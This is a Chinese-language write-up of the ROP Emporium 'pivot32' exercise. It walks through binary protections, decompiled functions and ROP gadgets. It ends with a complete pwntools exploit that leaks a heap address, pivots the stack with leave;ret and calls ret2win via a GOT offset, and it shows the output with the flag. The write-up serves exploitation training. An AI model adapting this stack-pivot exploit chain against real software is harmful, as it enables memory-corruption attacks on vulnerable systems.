ROP pivot

文件:pivot32

  1. checksec pivot32

         Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
        RPATH:    './'
  2. IDA

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      void *ptr; // ST18_4@1
    
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stderr, 0, 2, 0);
      puts("pivot by ROP Emporium");
      puts("32bits\n");
      ptr = malloc(0x1000000u);
      pwnme((char *)ptr + 16776960);
      free(ptr);
      puts("\nExiting");
      return 0;
    }

    C 库函数 void *malloc(size_t size) 分配所需的内存空间,并返回一个指向它的指针。

    void *malloc(size_t size)

    此处pwnme整个函数的栈是在ptr(malloc分配的堆)+16776960上面运行的

    pwnme()

    char *__cdecl pwnme(char *a1)
    {
      char s; // [sp+0h] [bp-28h]@1
    
      memset(&s, 0, 0x20u);
      puts("Call ret2win() from libpivot.so");
      printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1);
      puts("Send your second chain now and it will land there");
      printf("> ");
      fgets(a1, 256, stdin);
      puts("Now kindly send your stack smash");
      printf("> ");
      return fgets(&s, 58, stdin);
    }

    哈哈哈,给打印了个地址…

    (后来看wp才发现这是人家给的hint(开启了随机化地址(ASLR),想找到a1地址需要关闭随机化,但是这里打印出来降低了难度)

    注意:此处能放多少个?0x28=40个,可以读取58个,那么如果填满,溢出58-40=18个

    wp注解:题目中给的栈溢出的缓冲区比较小,无法存下我们所需要的所有ROP链。注意到程序要求我们输入两次,第一次的输入保存在一个空间比较大的堆中(malloc),所以可以在堆中存入shellcode,在栈中用某种方法把eip导向堆中相应位置。(tql)

    usefulFunction()

    void __noreturn uselessFunction()
    {
      foothold_function();
      exit(1);
    }

    foothold_function()

    int foothold_function(void)
    {
      return foothold_function();
    }

    (啥也无~)

    IDA探索附带文件libpivot32.so

    shift+F12

    .rodata:000009B0   00000055 C foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so
    .rodata:00000A05   00000014 C Nothing to see here                                                                 
    .rodata:00000A19   00000012 C /bin/cat flag.txt                                                                   
    .eh_frame:00000ADF 00000007 C ;*2$\"                                                                              

    发现目标:/bin/cat flag.txt

    也发现上文所说foothold_function()定义

    int foothold_function()
    {
      int v0; // eax@1
    
      v0 = _x86_get_pc_thunk_ax();
      return printf(&aFoothold_funct[v0 - 1916]);
    }

    又根据rop提示ret2win会有用,IDA中ALT+T搜索ret2win

    得到字符串:

    .text:00000967                 public ret2win

    点进去看:

    .text:00000967                 public ret2win

    (好吧是一样的…只不过我alt+t搜出来了而已…)

    啊!我知道为什么我shift+F12没有ret2win了!

    IDA版本过低!

    重装之后,发现libpivot32.so函数有了ret2win。

    void __noreturn ret2win()
    {
      system("/bin/cat flag.txt");
      exit(0);
    }

    调用ret2win即可!

    在elf中的函数里面只有foothold_function是也出现在libpivot32.so里面的,它还存在elf的got表中,可以利用这个foothold函数来进行泄漏libc,从而得到ret2win的真实地址,如果得到真实地址,调用,即可得到答案。

    又想起rop的话,”.plt and .got.plt sections of ELF binaries”,这里难度加大,看rop的新手指导+好多wp我才继续做完的。

    .plt and .got.plt sections of ELF binaries:涉及了延时绑定:当我们在调用如 func@plt() 的时候,系统才会将真正的 func() 函数地址写入到GOT表的 func.got.plt 中,然后 func@plt()根据 func.got.plt 跳转到真正的 func() 函数上去。

    也就是说先调用一次,才能得到真实地址。

    我们构造的rop链要能够控制程序跳转到foothold_function函数去执行,这里需要用到计算偏移elf函数中只有foothold_function在.so中也出现,而且也在got表中,所以ret2win的真实地址可以结合foothold_function算出来,这里需要注意的是,需要先将foothold_function函数调用一次,got表中才有foothold_function的真实地址。

    找工具

    ROPgadget --binary pivot32 --only "mov|pop|ret|add|call|leave"
    0x080488c7 : add eax, ebx ; ret

    eax=eax+ebx;下一级

    0x080488c4 : mov eax, dword ptr [eax] ; ret

    eax=eax+eax地址中的数据;下一级

    mov eax, dword ptr [esi]

    dword表示的是双字,四字节。esi中保存的是为内存中的地址。将该地址处的4字节数据传送到eax中。

    0x080488c0 : pop eax ; ret

    弹出eax;下一级

    0x00x080486a3 : call eax

    调用eax;

    0x080486a8 : leave ; ret

    leave指令,其相当于move rbp rsp , pop rbp两条指令,在每个函数运行完时最后一条指令通常为pop rbp,接着我们将ret指向的地址覆盖为leave,便可以根据我们的想法,控制$rbp的内容,从而控制程序流向。

  3. EXP

    p.recvuntil(some_string)` 接收到 some_string 为止

    from pwn import *
    sh = process('./pivot32')
    elf = ELF('./pivot32')
    libc = ELF('./libpivot32.so')
    foothold_plt     = elf.plt['foothold_function']
    foothold_got_plt = elf.got['foothold_function']
    foothold_sym     = libc.symbols['foothold_function']
    ret2win = libc.symbols['ret2win']
    
    # offset = int(foothold_got_plt - foothold_sym)    这里就是直接用got表的地址去算偏移,其实是错的,因为foothold_function函数没有调用过,got表中并不是真实地址
    # offset = int(ret2win - foothold_sym)
    offset = ret2win - foothold_sym
    #已经调用过一次foothold_sym,所以这一次是真实地址了
    #offset = foothold_sym - ret2win    这里算偏移的时候要注意结果不能为负数 
    
    sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
    
    leakaddr = int(sh.recv(10),16)    #接收题目打印出来的堆地址
    print hex(leakaddr)  
    pause()
    
    add_eax_ebx = 0x080488c7
    mov_eax_eax = 0x080488c4
    pop_eax = 0x080488c0
    pop_ebx = 0x08048571
    call_eax = 0x080486a3
    leave_ret = 0x080486a8
    
    payload_1 = ""
    payload_1 += p32(foothold_plt)    #将foothold_function函数调用一次
    payload_1 += p32(pop_eax)            #ret
    payload_1 += p32(foothold_got_plt)   #上面调用了一次这里就是真实地址了
    payload_1 += p32(mov_eax_eax)        #ret
    payload_1 += p32(pop_ebx)            #ret
    payload_1 += p32(offset)
    payload_1 += p32(add_eax_ebx)        #ret
    payload_1 += p32(call_eax)
    #理解:调用函数,取出水桶,再次调用函数得到真实地址,把真实地址放入水桶,取出第二个水桶,把偏移量放入第二个水桶,把第二个水桶的水倒入第一个水桶内,调用第一个水桶
    #Ret相当于 Pop EIP ,就是把栈顶指针ESP指向的值弹出来给EIP
    
    sh.sendline(payload_1)
    
    payload_2 = ""
    payload_2 += 0x28 * "A"
    payload_2 += p32(leakaddr-4) + p32(leave_ret)
    #leave_ret指令拆解为mov esp, ebp; pop ebp; ret之后,可以看mov 操作是可以对栈的位置进行操控的。把fake_ebp用malloc的地址减去4,这样经过pop ebp之后,ret的地址就刚好在我们在堆上布置的shellcode上了。
    #先把ebp 赋值给了esp,栈顶变,然后pop ebp,把之前布置的ebp的4个字节给pop掉
    #malloc的地址减去4  ,就剩下了没有最后返回地址的东西
    #ebp 填充的是 你要去的地方-4,返回地址 填的是leave ret,实现栈迁移。迁移过去之后进行pop 操作会把前面4个字节给搞掉,然后ret到你布置的程序。那这里的四个字节是垃圾数据
    
    sh.sendline(payload_2)
    sh.interactive()
    0xf7dc7f08
    [*] Paused (press any to continue)
    [*] Switching to interactive mode
    
    Send your second chain now and it will land there
    > Now kindly send your stack smash
    > foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soROPE{a_placeholder_32byte_flag!}
    [*] Process './pivot32' stopped with exit code 0 (pid 2908)
    [*] Got EOF while reading in interactive

    ROPE{a_placeholder_32byte_flag!}